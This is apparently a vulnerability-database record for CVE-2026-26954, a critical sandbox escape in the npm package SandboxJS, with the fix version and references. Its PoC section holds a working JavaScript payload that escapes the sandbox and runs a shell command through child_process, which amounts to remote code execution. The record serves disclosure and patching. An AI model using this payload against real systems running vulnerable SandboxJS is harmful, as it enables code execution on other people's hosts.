{"id":"CVE-2026-26954","aliases":["GHSA-6r9f-759j-hjgv"],"url":"https://o3.security/vulnerability/CVE-2026-26954","summary":"SandboxJS has a Sandbox Escape","details":"### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ 'Function', [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require('.').default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n  \"finally\": p.finally,\n  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),\n}).finally('a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})')();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -> RCE","published":"2026-03-13T15:51:13.413Z","modified":"2026-08-12T03:51:25.081732133Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00547,"percentile":0.43357,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","fixedVersion":"0.8.34"}],"fix":{"url":"https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085","label":"nyariv/SandboxJS@e01505b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26954.json"},{"type":"ADVISORY","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26954"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"},{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.081732133Z"}}